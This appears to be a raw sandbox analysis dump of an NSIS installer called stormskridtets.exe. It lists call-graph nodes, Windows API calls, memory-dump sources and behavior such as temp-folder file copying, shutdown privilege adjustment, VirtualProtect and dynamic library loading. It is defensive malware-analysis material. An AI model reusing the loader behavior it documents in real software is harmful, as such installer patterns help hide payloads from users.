RegQueryValueExW RegCloseKey 2599 403b19 2598->2599 2599->2391 2599->2393 2600->2397 2616 404390 2601->2616 2603 405573 2604 404390 SendMessageW 2603->2604 2605 405585 OleUninitialize 2604->2605 2605->2427 2606 40554c 2606->2603 2619 401389 2606->2619 2608->2589 2610 40642b 17 API calls 2609->2610 2611 403e5a SetWindowTextW 2610->2611 2611->2592 2613 40626a 2612->2613 2614 406273 RegOpenKeyExW 2613->2614 2615 40626e 2613->2615 2614->2615 2615->2598 2615->2599 2617 4043a8 2616->2617 2618 404399 SendMessageW 2616->2618 2617->2606 2618->2617 2621 401390 2619->2621 2620 4013fe 2620->2606 2621->2620 2622 4013cb MulDiv SendMessageW 2621->2622 2622->2621 2623->2453 2624->2453 2625->2450 2627 406090 GetShortPathNameW 2626->2627 2628 40606a 2626->2628 2629 4060a5 2627->2629 2630 4061af 2627->2630 2653 405ee4 GetFileAttributesW CreateFileW 2628->2653 2629->2630 2632 4060ad wsprintfA 2629->2632 2630->2466 2634 40642b 17 API calls 2632->2634 2633 406074 CloseHandle GetShortPathNameW 2633->2630 2635 406088 2633->2635 2636 4060d5 2634->2636 2635->2627 2635->2630 2654 405ee4 GetFileAttributesW CreateFileW 2636->2654 2638 4060e2 2638->2630 2639 4060f1 GetFileSize GlobalAlloc 2638->2639 2640 406113 2639->2640 2641 4061a8 CloseHandle 2639->2641 2642 405f67 ReadFile 2640->2642 2641->2630 2643 40611b 2642->2643 2643->2641 2655 405e49 lstrlenA 2643->2655 2646 406132 lstrcpyA 2649 406154 2646->2649 2647 406146 2648 405e49 4 API calls 2647->2648 2648->2649 2650 40618b SetFilePointer 2649->2650 2651 405f96 WriteFile 2650->2651 2652 4061a1 GlobalFree 2651->2652 2652->2641 2653->2633 2654->2638 2656 405e8a lstrlenA 2655->2656 2657 405e92 2656->2657 2658 405e63 lstrcmpiA 2656->2658 2657->2646 2657->2647 2658->2657 2659 405e81 CharNextA 2658->2659 2659->2656 2660->2475 2662 405d8b 2661->2662 2664 405d9d 2661->2664 2662->2664 2665 405d98 CharNextW 2662->2665 2663 405dc1 2663->2478 2663->2479 2664->2663 2666 405cf0 CharNextW 2664->2666 2665->2663 2666->2664 2668 406762 FindClose 2667->2668 2669 40676d 2667->2669 2668->2669 2669->2485 2671 403a36 2670->2671 2672 403a3b FreeLibrary GlobalFree 2671->2672 2673 403a00 2671->2673 2672->2672 2672->2673 2674 405b00 2673->2674 2675 405dcb 18 API calls 2674->2675 2676 405b20 2675->2676 2677 405b28 DeleteFileW 2676->2677 2678 405b3f 2676->2678 2679 403816 OleUninitialize 2677->2679 2680 405c5f 2678->2680 2713 4063ee lstrcpynW 2678->2713 2679->2281 2679->2282 2680->2679 2685 40674c 2 API calls 2680->2685 2682 405b65 2683 405b78 2682->2683 2684 405b6b lstrcatW 2682->2684 2687 405d0f 2 API calls 2683->2687 2686 405b7e 2684->2686 2689 405c84 2685->2689 2688 405b8e lstrcatW 2686->2688 2690 405b99 lstrlenW FindFirstFileW 2686->2690 2687->2686 2688->2690 2689->2679 2691 405c88 2689->2691 2690->2680 2698 405bbb 2690->2698 2692 405cc3 3 API calls 2691->2692 2693 405c8e 2692->2693 2695 405ab8 5 API calls 2693->2695 2694 405c42 FindNextFileW 2694->2698 2699 405c58 FindClose 2694->2699 2697 405c9a 2695->2697 2700 405cb4 2697->2700 2701 405c9e 2697->2701 2698->2694 2702 405c0c 2698->2702 2706 405b00 60 API calls 2698->2706 2714 4063ee lstrcpynW 2698->2714 2699->2680 2703 405456 24 API calls 2700->2703 2701->2679 2705 405456 24 API calls 2701->2705 2702->2694 2708 405456 24 API calls 2702->2708 2710 405456 24 API calls 2702->2710 2712 4061b4 36 API calls 2702->2712 2715 405ab8 2702->2715 2703->2679 2707 405cab 2705->2707 2706->2702 2709 4061b4 36 API calls 2707->2709 2708->2694 2711 405cb2 2709->2711 2710->2702 2711->2679 2712->2702 2713->2682 2714->2698 2723 405ebf GetFileAttributesW 2715->2723 2718 405ad3 RemoveDirectoryW 2721 405ae1 2718->2721 2719 405adb DeleteFileW 2719->2721 2720 405ae5 2720->2702 2721->2720 2722 405af1 SetFileAttributesW 2721->2722 2722->2720 2724 405ed1 SetFileAttributesW 2723->2724 2725 405ac4 2723->2725 2724->2725 2725->2718 2725->2719 2725->2720 3015 73c9166d 3016 73c91516 GlobalFree 3015->3016 3017 73c91685 3016->3017 3018 73c916cb GlobalFree 3017->3018 3019 73c916a0 3017->3019 3020 73c916b7 VirtualFree 3017->3020 3019->3018 3020->3018 3031 73c910e1 3040 73c91111 3031->3040 3032 73c911d8 GlobalFree 3033 73c912ba 2 API calls 3033->3040 3034 73c911d3 3034->3032 3035 73c91272 2 API calls 3038 73c911c4 GlobalFree 3035->3038 3036 73c91164 GlobalAlloc 3036->3040 3037 73c911f8 GlobalFree 3037->3040 3038->3040 3039 73c912e1 lstrcpyW 3039->3040 3040->3032 3040->3033 3040->3034 3040->3035 3040->3036 3040->3037 3040->3038 3040->3039 3041 73c91000 3042 73c9101b 5 API calls 3041->3042 3043 73c91019 3042->3043 3044 73c92ca3 3045 73c92cbb 3044->3045 3046 73c9158f 2 API calls 3045->3046 3047 73c92cd6 3046->3047 2729 403e6b 2730 403e83 2729->2730 2731 403fbe 2729->2731 2730->2731 2732 403e8f 2730->2732 2733 40400f 2731->2733 2734 403fcf GetDlgItem GetDlgItem 2731->2734 2735 403e9a SetWindowPos 2732->2735 2736 403ead 2732->2736 2738 404069 2733->2738 2746 401389 2 API calls 2733->2746 2737 404344 18 API calls 2734->2737 2735->2736 2740 403eb2 ShowWindow 2736->2740 2741 403eca 2736->2741 2742 403ff9 SetClassLongW 2737->2742 2739 404390 SendMessageW 2738->2739 2791 403fb9 2738->2791 2788 40407b 2739->2788 2740->2741 2743 403ed2 DestroyWindow 2741->2743 2744 403eec 2741->2744 2745 40140b 2 API calls 2742->2745 2799 4042cd 2743->2799 2747 403ef1 SetWindowLongW 2744->2747 2748 403f02 2744->2748 2745->2733 2749 404041 2746->2749 2747->2791 2752 403fab 2748->2752 2753 403f0e GetDlgItem 2748->2753 2749->2738 2754 404045 SendMessageW 2749->2754 2750 40140b 2 API calls 2750->2788 2751 4042cf DestroyWindow EndDialog 2751->2799 2809 4043ab 2752->2809 2757 403f21 SendMessageW IsWindowEnabled 2753->2757 2758 403f3e 2753->2758 2754->2791 2756 4042fe ShowWindow 2756->2791 2757->2758 2757->2791 2760 403f4b 2758->2760 2761 403f92 SendMessageW 2758->2761 2762 403f5e 2758->2762 2770 403f43 2758->2770 2759 40642b 17 API calls 2759->2788 2760->2761 2760->2770 2761->2752 2765 403f66 2762->2765 2766 403f7b 2762->2766 2764 404344 18 API calls 2764->2788 2768 40140b 2 API calls 2765->2768 2769 40140b 2 API calls 2766->2769 2767 403f79 2767->2752 2768->2770 2771 403f82 2769->2771 2806 40431d 2770->2806 2771->2752 2771->2770 2773 4040f6 GetDlgItem 2774 404113 ShowWindow KiUserCallbackDispatcher 2773->2774 2775 40410b 2773->2775 2803 404366 KiUserCallbackDispatcher 2774->2803 2775->2774 2777 40413d EnableWindow 2782 404151 2777->2782 2778 404156 GetSystemMenu EnableMenuItem SendMessageW 2779 404186 SendMessageW 2778->2779 2778->2782 2779->2782 2781 403e4c 18 API calls 2781->2782 2782->2778 2782->2781 2804 404379 SendMessageW 2782->2804 2805 4063ee lstrcpynW 2782->2805 2784 4041b5 lstrlenW 2785 40642b 17 API calls 2784->2785 2786 4041cb SetWindowTextW 2785->2786 2787 401389 2 API calls 2786->2787 2787->2788 2788->2750 2788->2751 2788->2759 2788->2764 2789 40420f DestroyWindow 2788->2789 2788->2791 2800 404344 2788->2800 2790 404229 CreateDialogParamW 2789->2790 2789->2799 2792 40425c 2790->2792 2790->2799 2793 404344 18 API calls 2792->2793 2794 404267 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 2793->2794 2795 401389 2 API calls 2794->2795 2796 4042ad 2795->2796 2796->2791 2797 4042b5 ShowWindow 2796->2797 2798 404390 SendMessageW 2797->2798 2798->2799 2799->2756 2799->2791 2801 40642b 17 API calls 2800->2801 2802 40434f SetDlgItemTextW 2801->2802 2802->2773 2803->2777 2804->2782 2805->2784 2807 404324 2806->2807 2808 40432a SendMessageW 2806->2808 2807->2808 2808->2767 2810 40446e 2809->2810 2811 4043c3 GetWindowLongW 2809->2811 2810->2791 2811->2810 2812 4043d8 2811->2812 2812->2810 2813 404405 GetSysColor 2812->2813 2814 404408 2812->2814 2813->2814 2815 404418 SetBkMode 2814->2815 2816 40440e SetTextColor 2814->2816 2817 404430 GetSysColor 2815->2817 2818 404436 2815->2818 2816->2815 2817->2818 2819 404447 2818->2819 2820 40443d SetBkColor 2818->2820 2819->2810 2821 404461 CreateBrushIndirect 2819->2821 2822 40445a DeleteObject 2819->2822 2820->2819 2821->2810 2822->2821 3048 402f2b 3049 402f56 3048->3049 3050 402f3d SetTimer 3048->3050 3051 402fab 3049->3051 3052 402f70 MulDiv wsprintfW SetWindowTextW SetDlgItemTextW 3049->3052 3050->3049 3052->3051 2992 73c918d9 2993 73c918fc 2992->2993 2994 73c91931 GlobalFree 2993->2994 2995 73c91943 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z __allrem 2993->2995 2994->2995 2996 73c91272 2 API calls 2995->2996 2997 73c91ace GlobalFree GlobalFree 2996->2997 2998 73c91058 3000 73c91074 2998->3000 2999 73c910dd 3000->2999 3001 73c91092 3000->3001 3011 73c91516 3000->3011 3003 73c91516 GlobalFree 3001->3003 3004 73c910a2 3003->3004 3005 73c910a9 GlobalSize 3004->3005 3006 73c910b2 3004->3006 3005->3006 3007 73c910c7 3006->3007 3008 73c910b6 GlobalAlloc 3006->3008 3010 73c910d2 GlobalFree 3007->3010 3009 73c9153d 3 API calls 3008->3009 3009->3007 3010->2999 3013 73c9151c 3011->3013 3012 73c91522 3012->3001 3013->3012 3014 73c9152e GlobalFree 3013->3014 3014->3001 3021 73c9103d 3024 73c9101b 3021->3024 3025 73c91516 GlobalFree 3024->3025 3026 73c91020 3025->3026 3027 73c91024 3026->3027 3028 73c91027 GlobalAlloc 3026->3028 3029 73c9153d 3 API calls 3027->3029 3028->3027 3030 73c9103b 3029->3030 2726 73c929df 2727 73c92a2f 2726->2727 2728 73c929ef VirtualProtect 2726->2728 2728->2727 3053 73c916d4 3054 73c91703 3053->3054 3055 73c91b5f 22 API calls 3054->3055 3056 73c9170a 3055->3056 3057 73c9171d 3056->3057 3058 73c91711 3056->3058 3060 73c91744 3057->3060 3061 73c91727 3057->3061 3059 73c91272 2 API calls 3058->3059 3064 73c9171b 3059->3064 3062 73c9174a 3060->3062 3063 73c9176e 3060->3063 3065 73c9153d 3 API calls 3061->3065 3067 73c915b4 3 API calls 3062->3067 3068 73c9153d 3 API calls 3063->3068 3066 73c9172c 3065->3066 3069 73c915b4 3 API calls 3066->3069 3070 73c9174f 3067->3070 3068->3064 3071 73c91732 3069->3071 3072 73c91272 2 API calls 3070->3072 3073 73c91272 2 API calls 3071->3073 3074 73c91755 GlobalFree 3072->3074 3075 73c91738 GlobalFree 3073->3075 3074->3064 3076 73c91769 GlobalFree 3074->3076 3075->3064 3076->3064 2823 73c91777 2824 73c917aa 2823->2824 2865 73c91b5f 2824->2865 2826 73c917b1 2827 73c918d6 2826->2827 2828 73c917c9 2826->2828 2829 73c917c2 2826->2829 2899 73c923e0 2828->2899 2915 73c9239e 2829->2915 2834 73c917ee 2837 73c9182d 2834->2837 2838 73c9180f 2834->2838 2835 73c917f8 2835->2834 2925 73c92d83 2835->2925 2836 73c917df 2840 73c917e5 2836->2840 2844 73c917f0 2836->2844 2841 73c9187e 2837->2841 2842 73c91833 2837->2842 2928 73c925b5 2838->2928 2840->2834 2909 73c92af8 2840->2909 2848 73c925b5 10 API calls 2841->2848 2947 73c915c6 2842->2947 2843 73c91815 2939 73c915b4 2843->2939 2919 73c92770 2844->2919 2852 73c9186f 2848->2852 2856 73c918c5 2852->2856 2953 73c92578 2852->2953 2854 73c917f6 2854->2834 2855 73c925b5 10 API calls 2855->2852 2856->2827 2860 73c918cf GlobalFree 2856->2860 2860->2827 2862 73c918b1 2862->2856 2957 73c9153d wsprintfW 2862->2957 2863 73c918aa FreeLibrary 2863->2862 2960 73c9121b GlobalAlloc 2865->2960 2867 73c91b86 2961 73c9121b GlobalAlloc 2867->2961 2869 73c91dcb GlobalFree GlobalFree GlobalFree 2870 73c91de8 2869->2870 2883 73c91e32 2869->2883 2872 73c921de 2870->2872 2878 73c91dfd 2870->2878 2870->2883 2871 73c91c86 GlobalAlloc 2889 73c91b91 2871->2889 2873 73c92200 GetModuleHandleW 2872->2873 2872->2883 2874 73c92211 LoadLibraryW 2873->2874 2875 73c92226 2873->2875 2874->2875 2874->2883 2968 73c9161d WideCharToMultiByte GlobalAlloc WideCharToMultiByte GetProcAddress GlobalFree 2875->2968 2876 73c91cd1 lstrcpyW 2880 73c91cdb lstrcpyW 2876->2880 2877 73c91cef GlobalFree 2877->2889 2878->2883 2964 73c9122c 2878->2964 2880->2889 2881 73c92278 2881->2883 2886 73c92285 lstrlenW 2881->2886 2882 73c92086 2967 73c9121b GlobalAlloc 2882->2967 2883->2826 2969 73c9161d WideCharToMultiByte GlobalAlloc WideCharToMultiByte GetProcAddress GlobalFree 2886->2969 2887 73c92238 2887->2881 2897 73c92262 GetProcAddress 2887->2897 2889->2869 2889->2871 2889->2876 2889->2877 2889->2880 2889->2882 2889->2883 2890 73c91fc7 GlobalFree 2889->2890 2891 73c9210e 2889->2891 2892 73c91d2d 2889->2892 2894 73c9122c 2 API calls 2889->2894 2890->2889 2891->2883 2896 73c92176 lstrcpyW 2891->2896 2892->2889 2962 73c9158f GlobalSize GlobalAlloc 2892->2962 2893 73c9229f 2893->2883 2894->2889 2896->2883 2897->2881 2898 73c9208f 2898->2826 2901 73c923f8 2899->2901 2900 73c9122c GlobalAlloc lstrcpynW 2900->2901 2901->2900 2903 73c92521 GlobalFree 2901->2903 2904 73c924cb GlobalAlloc CLSIDFromString 2901->2904 2905 73c924a0 GlobalAlloc WideCharToMultiByte 2901->2905 2908 73c924ea 2901->2908 2971 73c912ba 2901->2971 2903->2901 2906 73c917cf 2903->2906 2904->2903 2905->2903 2906->2834 2906->2835 2906->2836 2908->2903 2975 73c92704 2908->2975 2910 73c92b0a 2909->2910 2911 73c92baf SetFilePointer 2910->2911 2914 73c92bcd 2911->2914 2913 73c92c99 2913->2834 2978 73c92aa2 2914->2978 2916 73c923b3 2915->2916 2917 73c917c8 2916->2917 2918 73c923be GlobalAlloc 2916->2918 2917->2828 2918->2916 2923 73c927a0 2919->2923 2920 73c9283b GlobalAlloc 2924 73c9285e 2920->2924 2921 73c9284e 2922 73c92854 GlobalSize 2921->2922 2921->2924 2922->2924 2923->2920 2923->2921 2924->2854 2926 73c92d8e 2925->2926 2927 73c92dce GlobalFree 2926->2927 2982 73c9121b GlobalAlloc 2928->2982 2930 73c92638 MultiByteToWideChar 2936 73c925bf 2930->2936 2931 73c9266b lstrcpynW 2931->2936 2932 73c9265a StringFromGUID2 2932->2936 2933 73c9267e wsprintfW 2933->2936 2934 73c926a2 GlobalFree 2934->2936 2935 73c926d7 GlobalFree 2935->2843 2936->2930 2936->2931 2936->2932 2936->2933 2936->2934 2936->2935 2937 73c91272 2 API calls 2936->2937 2983 73c912e1 2936->2983 2937->2936 2987 73c9121b GlobalAlloc 2939->2987 2941 73c915b9 2942 73c915c6 2 API calls 2941->2942 2943 73c915c3 2942->2943 2944 73c91272 2943->2944 2945 73c9127b GlobalAlloc lstrcpynW 2944->2945 2946 73c912b5 GlobalFree 2944->2946 2945->2946 2946->2852 2948 73c915ff lstrcpyW 2947->2948 2949 73c915d2 wsprintfW 2947->2949 2952 73c91618 2948->2952 2949->2952 2952->2855 2954 73c91891 2953->2954 2955 73c92586 2953->2955 2954->2862 2954->2863 2955->2954 2956 73c925a2 GlobalFree 2955->2956 2956->2955 2958 73c91272 2 API calls 2957->2958 2959 73c9155e 2958->2959 2959->2856 2960->2867 2961->2889 2963 73c915ad 2962->2963 2963->2892 2970 73c9121b GlobalAlloc 2964->2970 2966 73c9123b lstrcpynW 2966->2883 2967->2898 2968->2887 2969->2893 2970->2966 2972 73c912c1 2971->2972 2973 73c9122c 2 API calls 2972->2973 2974 73c912df 2973->2974 2974->2901 2976 73c92768 2975->2976 2977 73c92712 VirtualAlloc 2975->2977 2976->2908 2977->2976 2979 73c92aad 2978->2979 2980 73c92abd 2979->2980 2981 73c92ab2 GetLastError 2979->2981 2980->2913 2981->2980 2982->2936 2984 73c912ea 2983->2984 2985 73c9130c 2983->2985 2984->2985 2986 73c912f0 lstrcpyW 2984->2986 2985->2936 2986->2985 2987->2941

                                    Executed Functions

                                    Function 004034A2 Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410stringfilecomCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 0 4034a2-4034df SetErrorMode GetVersion 1 4034e1-4034e9 call 4067e3 0->1 2 4034f2 0->2 1->2 7 4034eb 1->7 4 4034f7-40350b call 406773 lstrlenA 2->4 9 40350d-403529 call 4067e3 * 3 4->9 7->2 16 40353a-403599 #17 OleInitialize SHGetFileInfoW call 4063ee GetCommandLineW call 4063ee 9->16 17 40352b-403531 9->17 24 4035a3-4035bd call 405cf0 CharNextW 16->24 25 40359b-4035a2 16->25 17->16 21 403533 17->21 21->16 28 4035c3-4035c9 24->28 29 4036d4-4036ee GetTempPathW call 403471 24->29 25->24 30 4035d2-4035d6 28->30 31 4035cb-4035d0 28->31 38 4036f0-40370e GetWindowsDirectoryW lstrcatW call 403471 29->38 39 403746-403760 DeleteFileW call 403015 29->39 33 4035d8-4035dc 30->33 34 4035dd-4035e1 30->34 31->30 31->31 33->34 36 4036a0-4036ad call 405cf0 34->36 37 4035e7-4035ed 34->37 54 4036b1-4036b7 36->54 55 4036af-4036b0 36->55 42 403608-403641 37->42 43 4035ef-4035f7 37->43 38->39 52 403710-403740 GetTempPathW lstrcatW SetEnvironmentVariableW * 2 call 403471 38->52 56 403811-403821 call 4039e3 OleUninitialize 39->56 57 403766-40376c 39->57 50 403643-403648 42->50 51 40365e-403698 42->51 48 4035f9-4035fc 43->48 49 4035fe 43->49 48->42 48->49 49->42 50->51 58 40364a-403652 50->58 51->36 53 40369a-40369e 51->53 52->39 52->56 53->36 60 4036bf-4036cd call 4063ee 53->60 54->28 61 4036bd 54->61 55->54 75 403947-40394d 56->75 76 403827-403837 call 405a54 ExitProcess 56->76 62 403801-403808 call 403abd 57->62 63 403772-40377d call 405cf0 57->63 65 403654-403657 58->65 66 403659 58->66 68 4036d2 60->68 61->68 74 40380d 62->74 80 4037cb-4037d5 63->80 81 40377f-4037b4 63->81 65->51 65->66 66->51 68->29 74->56 78 4039cb-4039d3 75->78 79 40394f-403965 GetCurrentProcess OpenProcessToken 75->79 82 4039d5 78->82 83 4039d9-4039dd ExitProcess 78->83 87 403967-403995 LookupPrivilegeValueW AdjustTokenPrivileges 79->87 88 40399b-4039a9 call 4067e3 79->88 85 4037d7-4037e5 call 405dcb 80->85 86 40383d-403851 call 4059bf lstrcatW 80->86 89 4037b6-4037ba 81->89 82->83 85->56 99 4037e7-4037fd call 4063ee * 2 85->99 100 403853-403859 lstrcatW 86->100 101 40385e-403878 lstrcatW lstrcmpiW 86->101 87->88 102 4039b7-4039c2 ExitWindowsEx 88->102 103 4039ab-4039b5 88->103 93 4037c3-4037c7 89->93 94 4037bc-4037c1 89->94 93->89 98 4037c9 93->98 94->93 94->98 98->80 99->62 100->101 101->56 105 40387a-40387d 101->105 102->78 106 4039c4-4039c6 call 40140b 102->106 103->102 103->106 108 403886 call 4059a2 105->108 109 40387f call 405925 105->109 106->78 117 40388b-403899 SetCurrentDirectoryW 108->117 116 403884 109->116 116->117 118 4038a6-4038cf call 4063ee 117->118 119 40389b-4038a1 call 4063ee 117->119 123 4038d4-4038f0 call 40642b DeleteFileW 118->123 119->118 126 403931-403939 123->126 127 4038f2-403902 CopyFileW 123->127 126->123 128 40393b-403942 call 4061b4 126->128 127->126 129 403904-40391d call 4061b4 call 40642b call 4059d7 127->129 128->56 137 403922-403924 129->137 137->126 138 403926-40392d CloseHandle 137->138 138->126
                                    APIs
                                    • SetErrorMode.KERNELBASE ref: 004034C5
                                    • GetVersion.KERNEL32 ref: 004034CB
                                    • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004034FE
                                    • #17.COMCTL32(?,00000007,00000009,0000000B), ref: 0040353B
                                    • OleInitialize.OLE32(00000000), ref: 00403542
                                    • SHGetFileInfoW.SHELL32(0079FF08,00000000,?,000002B4,00000000), ref: 0040355E
                                    • GetCommandLineW.KERNEL32(007A7A60,NSIS Error,?,00000007,00000009,0000000B), ref: 00403573
                                    • CharNextW.USER32(00000000,"C:\Users\user\Desktop\stormskridtets.exe",00000020,"C:\Users\user\Desktop\stormskridtets.exe",00000000,?,00000007,00000009,0000000B), ref: 004035AB
                                      • Part of subcall function 004067E3: GetModuleHandleA.KERNEL32(?,00000020,?,00403514,0000000B), ref: 004067F5
                                      • Part of subcall function 004067E3: GetProcAddress.KERNEL32(00000000,?), ref: 00406810
                                    • GetTempPathW.KERNEL32(00000400,C:\Users\user~1\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 004036E5
                                    • GetWindowsDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,000003FB,?,00000007,00000009,0000000B), ref: 004036F6
                                    • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403702
                                    • GetTempPathW.KERNEL32(000003FC,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403716
                                    • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 0040371E
                                    • SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 0040372F
                                    • SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user~1\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 00403737
                                    • DeleteFileW.KERNELBASE(1033,?,00000007,00000009,0000000B), ref: 0040374B
                                      • Part of subcall function 004063EE: lstrcpynW.KERNEL32(?,?,00000400,00403573,007A7A60,NSIS Error,?,00000007,00000009,0000000B), ref: 004063FB
                                    • OleUninitialize.OLE32(00000007,?,00000007,00000009,0000000B), ref: 00403816
                                    • ExitProcess.KERNEL32 ref: 00403837
                                    • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\stormskridtets.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 0040384A
                                    • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,0040A26C,C:\Users\user~1\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\stormskridtets.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 00403859
                                    • lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,.tmp,C:\Users\user~1\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\stormskridtets.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 00403864
                                    • lstrcmpiW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user~1\AppData\Local\Temp\,.tmp,C:\Users\user~1\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\stormskridtets.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 00403870
                                    • SetCurrentDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040388C
                                    • DeleteFileW.KERNEL32(0079F708,0079F708,?,007A9000,00000009,?,00000007,00000009,0000000B), ref: 004038E6
                                    • CopyFileW.KERNEL32(C:\Users\user\Desktop\stormskridtets.exe,0079F708,00000001,?,00000007,00000009,0000000B), ref: 004038FA
                                    • CloseHandle.KERNEL32(00000000,0079F708,0079F708,?,0079F708,00000000,?,00000007,00000009,0000000B), ref: 00403927
                                    • GetCurrentProcess.KERNEL32(00000028,0000000B,00000007,00000009,0000000B), ref: 00403956
                                    • OpenProcessToken.ADVAPI32(00000000), ref: 0040395D
                                    • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403972
                                    • AdjustTokenPrivileges.ADVAPI32 ref: 00403995
                                    • ExitWindowsEx.USER32(00000002,80040002), ref: 004039BA
                                    • ExitProcess.KERNEL32 ref: 004039DD
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
                                    • String ID: "C:\Users\user\Desktop\stormskridtets.exe"$.tmp$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods$C:\Users\user\Desktop$C:\Users\user\Desktop\stormskridtets.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
                                    • API String ID: 3441113951-3901823857
                                    • Opcode ID: 548301c1dfa22215a8893450befa883167be07a4132e0a9c717a82b6bd7fd6f7
                                    • Instruction ID: d7b9bf8e5ec5db16f392776339999e6c5d6af7d7718e861a4dfbc7241a8cc938
                                    • Opcode Fuzzy Hash: 548301c1dfa22215a8893450befa883167be07a4132e0a9c717a82b6bd7fd6f7
                                    • Instruction Fuzzy Hash: 65D1F6B1200310AAD7207F659D49B2B3AACEB81749F10843FF581B62D1DB7D8A55C76E
                                    Function 73C91B5F Relevance: 20.1, APIs: 13, Instructions: 597stringlibrarymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 73C9121B: GlobalAlloc.KERNELBASE(00000040,?,73C9123B,?,73C912DF,00000019,73C911BE,-000000A0), ref: 73C91225
                                    • GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 73C91C8D
                                    • lstrcpyW.KERNEL32(00000008,?), ref: 73C91CD5
                                    • lstrcpyW.KERNEL32(00000808,?), ref: 73C91CDF
                                    • GlobalFree.KERNEL32(00000000), ref: 73C91CF2
                                    • GlobalFree.KERNEL32(?), ref: 73C91DD4
                                    • GlobalFree.KERNEL32(?), ref: 73C91DD9
                                    • GlobalFree.KERNEL32(?), ref: 73C91DDE
                                    • GlobalFree.KERNEL32(00000000), ref: 73C91FC8
                                    • lstrcpyW.KERNEL32(?,?), ref: 73C92182
                                    • GetModuleHandleW.KERNEL32(00000008), ref: 73C92201
                                    • LoadLibraryW.KERNEL32(00000008), ref: 73C92212
                                    • GetProcAddress.KERNEL32(?,?), ref: 73C9226C
                                    • lstrlenW.KERNEL32(00000808), ref: 73C92286
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1987649573.0000000073C91000.00000020.00000001.01000000.00000006.sdmp, Offset: 73C90000, based on PE: true
                                    • Associated: 00000000.00000002.1987047639.0000000073C90000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987785731.0000000073C94000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987804598.0000000073C96000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_73c90000_stormskridtets.jbxd
                                    Similarity
